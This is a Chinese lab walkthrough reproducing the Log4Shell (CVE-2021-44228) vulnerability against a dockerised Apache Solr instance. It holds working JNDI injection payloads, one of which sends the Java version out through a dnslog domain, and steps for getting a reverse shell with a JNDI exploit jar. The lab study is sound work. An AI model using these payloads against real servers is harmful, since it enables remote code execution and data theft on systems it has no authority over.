Log4j-CVE-2021-44228漏洞复现
一、漏洞描述
Log4j2作为一个开源的Java日志记录插件,被众多项目引用,因此,当其漏洞出现时,影响的范围也极大,可以算是继Python的request库之后的又一重大供应链攻击了。
二、环境搭建
使用docker
来搭建漏洞利用环境
sudo docker-compose up -d
查看一下映射的端口
sudo docker ps
访问本地端口 8983
访问到这个页面,说明环境已经搭建完毕
三、漏洞利用
在 Dnslog
平台获取一个 dns
域名
构造Payload
为:
http://127.0.0.1/solr/admin/cores?_=1648718155484&indexInfo=false&wt=${jndi:ldap://test.zetcrf.dnslog.cn/}
直接访问
查看 Dnslog
平台是否接受到数据
也可以外带出 Java
的版本信息,构造 Payload
http://127.0.0.1/solr/admin/cores?_=1648718155484&indexInfo=false&wt=${jndi:ldap://${sys:java.version}.zetcrf.dnslog.cn/}
可以看到外带出的 Java
版本为 1.8
四、反弹shell
反弹shell需要用到的工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
需要的小伙伴自行搜索下载
启动 JNDI
服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd" -A "ip"
启动成功之后,我们按照目标网站的 jdk
版本来选择 构造 payload
http://127.0.0.1/solr/admin/cores?_=1648718155484&indexInfo=false&wt=${jndi:ldap://xxxx:1389/oe7hxd}
然后监听端口
访问刚刚构造好的 Payload
成功获取到 shell